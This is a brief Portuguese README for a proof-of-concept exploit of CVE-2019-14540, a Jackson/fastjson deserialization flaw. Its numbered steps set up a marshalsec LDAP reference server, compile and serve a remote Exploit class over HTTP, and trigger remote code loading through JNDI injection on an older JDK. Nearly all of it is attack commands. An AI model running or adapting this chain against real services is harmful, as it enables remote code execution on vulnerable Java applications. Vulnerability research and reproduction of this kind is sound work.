CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Restrições de ambiente: como este demo usa o método de exploração do ldap via jndi, é necessário usar uma versão mais antiga do jdk (menor que 8u191).

1. Use o marshalsec para criar um serviço ldap na porta local 1389, apontando para o serviço http na porta local 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Em remote_codebase, compile o código usado para carregamento remoto

cd remote_codebase
javac Exploit.java

3. Em remote_codebase, inicie o serviço http na porta local 8000

cd remote_codebase
python -m SimpleHTTPServer

4. Execute Main.java, usando a desserialização com jackson e fastjson para acionar a vulnerabilidade